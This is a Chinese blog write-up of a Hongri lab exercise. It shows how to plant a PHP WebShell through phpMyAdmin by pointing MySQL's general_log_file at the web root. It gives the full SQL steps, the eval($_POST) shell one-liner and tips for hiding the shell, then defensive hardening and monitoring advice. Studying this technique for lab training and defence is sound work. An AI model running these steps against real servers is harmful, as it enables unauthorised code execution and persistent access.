当前位置: 首页 > news >正文

红日靶场实战复盘:我是如何利用phpMyAdmin日志写入拿到WebShell的

红日靶场深度解析:phpMyAdmin日志写入WebShell的技术细节与实战思考

在渗透测试的实战环境中,数据库管理系统往往是突破内网防线的关键跳板。phpMyAdmin作为MySQL最流行的Web管理工具,其安全配置的疏忽可能带来灾难性后果。本文将聚焦一个经典攻击手法——通过操纵MySQL通用查询日志实现WebShell写入,结合红日靶场环境,从技术原理、环境检测到完整攻击链展开深度剖析。

1. 攻击前置条件与技术原理

任何有效的攻击都建立在精准的环境判断之上。通过日志写入WebShell需要同时满足三个核心条件:

  1. MySQL日志功能启用状态
    general_log参数控制所有SQL查询的记录状态,默认关闭。攻击者需先将其置为ON,并通过general_log_file指定日志路径为Web可解析目录(如.php后缀)。

  2. 文件写入权限配置
    secure_file_priv参数决定MySQL导出文件的权限范围。当值为空字符串时允许写入任意目录;若为NULL则完全禁止导出操作。该参数需通过my.ini配置文件修改,动态SQL无法调整。

  3. Web目录路径已知
    必须准确获知网站根目录的物理路径(如C:\phpStudy\WWW\),否则写入的WebShell无法通过HTTP访问。

技术原理深度:
MySQL的通用查询日志会原样记录所有执行的SQL语句。当我们将日志文件路径设置为Web目录下的.php文件,并在日志中插入<?php eval($_POST[cmd]);?>等PHP代码时,该文件会被Web服务器解析执行。与into outfile相比,此方法绕过了一些常见的写入限制。

2. 环境检测与信息收集实战

在红日靶场中,我们通过以下步骤确认攻击可行性:

2.1 数据库权限验证

-- 查看当前用户权限 SHOW GRANTS; -- 确认文件操作权限 SELECT File_priv FROM mysql.user WHERE user='root';

若返回YGRANT ALL PRIVILEGES,则具备必要条件。

2.2 关键参数检测

-- 检查日志状态与路径 SHOW VARIABLES LIKE 'general_log%'; -- 验证导出限制 SHOW VARIABLES LIKE 'secure_file_priv';

典型安全配置与风险对比:

参数安全配置风险配置
general_logOFFON
general_log_file非Web目录Web目录.php文件
secure_file_privNULL或特定目录空字符串

2.3 路径探测技巧

通过phpMyAdmin界面查看数据库表内容,寻找包含路径信息的记录(如wp_options表中的siteurl)。也可尝试:

-- 通过报错信息泄露路径 SELECT 1 FROM nonexistent_table; -- 利用phpMyAdmin已知文件 SELECT LOAD_FILE('/etc/phpmyadmin/config.inc.php');

3. 完整攻击链实现步骤

3.1 启用日志并设置路径

-- 激活通用查询日志 SET GLOBAL general_log = 'ON'; -- 设置日志路径为Web目录 SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';

注意:路径中的斜杠方向需根据操作系统调整,Windows建议使用正斜杠或双反斜杠。

3.2 写入WebShell代码

通过执行包含PHP代码的无效查询实现写入:

SELECT '<?php @eval($_POST["cmd"]);?>';

此时查看日志文件内容应包含完整的PHP标签。访问http://target/shell.php验证是否解析成功。

3.3 连接与权限维持

使用蚁剑等工具连接时需注意:

  1. 编码设置:默认UTF-8,遇乱码需调整
  2. 超时控制:内网环境适当延长超时时间
  3. 隐蔽措施
    • 修改WebShell文件时间为周围文件相同
    • 使用.user.ini等隐蔽启动方式

4. 防御策略与攻击溯源

从防御者视角,建议采取以下措施:

  • 权限最小化
    限制MySQL用户权限,移除非必要账户的FILE权限

  • 参数加固
    my.ini中设置:

    secure_file_priv = NULL general_log = OFF
  • 日志监控
    对以下异常行为建立告警机制:

    • general_log参数动态修改
    • 非常规路径的.php文件创建
    • 包含eval/system等函数的SQL语句

攻击溯源时可检查:

  • MySQL的general_log记录(若开启)
  • Web服务器的访问日志中异常.php文件请求
  • 系统进程中的可疑PHP解释行为

5. 方法论延伸与思考

这种攻击手法之所以在红日靶场中成功,本质上是利用了"功能即漏洞"的安全哲学。数据库管理员为调试开启日志功能,却未考虑到日志文件本身可能成为代码执行的载体。这给我们带来更深的启示:

  1. 安全配置的连锁效应
    单个参数的疏忽(如secure_file_priv)可能使其他安全措施(如禁用into outfile)失效

  2. 纵深防御的必要性
    即使Web应用本身无漏洞,依赖服务的配置不当仍可导致沦陷

  3. 攻击面的全面评估
    在安全审计中,需对所有数据输出点(包括日志、缓存等)进行代码注入测试

在真实环境中,这种攻击常与其他技术组合使用。例如先通过SQL注入获取管理员密码登录phpMyAdmin,或利用本地文件包含(LFI)将日志文件作为代码执行。防御者需要建立多维度的防护体系,而攻击者则需不断探索各层防御间的缝隙——这正是渗透测试技术迷人的辩证关系。

http://www.jsqmd.com/news/855383/

相关文章:

  • 避坑指南:VMware安装RockyLinux后网络不通、SSH连不上的常见问题排查与修复
  • STM32串口1被占用了怎么办?巧用ISP模式,让蓝牙HC-05同时搞定下载和通信
  • 别再折腾源码编译了!Ubuntu 20.04下SageMath 9.6保姆级安装指南(含依赖包一键安装脚本)
  • 读研读博,教你3招搞定文献调研
  • SAP BAPI实战避坑指南:FICO/SD/MM模块高频接口调用与常见错误处理
  • Perplexity经济新闻搜索终极工作流:融合Bloomberg Terminal逻辑+本地化中文语义校准(仅限前500名订阅者获取完整Prompt库)
  • 别再死记硬背ELMo、GPT、BERT的区别了!一张图带你搞懂它们的核心差异与适用场景
  • 将Taotoken集成到自动化脚本中实现定时报告生成与数据分析
  • WebRTC只管流不管控——自研信令服务器的状态机设计
  • OpenClaw从入门到应用——工具(Tools):子代理(Sub-agents)
  • JiYuTrainer:在极域电子教室中重获电脑控制权的终极方案
  • 顶伯 + 微软 TTS:专业术语发音零误差
  • 【PostgreSQL】时间取最大值,转换为init,如果为空则为0
  • 实战避坑:基于STM32或全志平台调试MIPI-DSI屏的常见问题与排查指南
  • 从下载到上线:用CobaltStrike 4.8汉化版快速搭建你的第一个渗透测试实验室
  • 除了综合,DC Shell还能这么用:手把手教你用它做设计Review和Debug
  • 从 C++ 闭包底层上看:你的[]里到底发生了什么?
  • 别再只盯着Encoder模式了!STM32F4通用IO口+外部中断搞定EC11旋转编码器(附代码)
  • #SAP-ABAP:数据类型与数据对象(8篇) 第六篇:操作实践篇——数据对象的常用操作与异常处理方案
  • 08-实战:RuoYi-Vue项目的自动化发布
  • YOLOv5到v8,哪个更适合你的表情识别项目?我用同一份数据集做了次全面对比评测
  • STM32G431时钟树配置避坑指南:从CubeMX图形化到代码实战,手把手教你调出80MHz主频
  • 2026年兰州景观亮化靠谱厂家TOP5:兰州建筑亮化、兰州建筑泛光照明、兰州文旅亮化、兰州旅游景区亮化、兰州景观泛光照明选择指南 - 优质品牌商家
  • Fluent瞬态计算踩坑记录:时间统计采样设置里的3个关键细节与避坑指南
  • 基于STM32F105系列使用CAN总线实现双机通信代码
  • eNSP实验避坑指南:华为路由器IP地址配完却Ping不通?这5个细节检查了吗?
  • 2026年Q2广州宠物犬舍猫舍评测:四家连锁机构深度对比 - 优质品牌商家
  • 告别理论!用Python可视化带你彻底搞懂电机插补算法(逐点比较法)
  • 从零搭建企业级网络准入:用Agile Controller-Campus + 华为交换机实战802.1X认证
  • RK3588工业一体机:异构计算、AI推理与Linux系统构建实战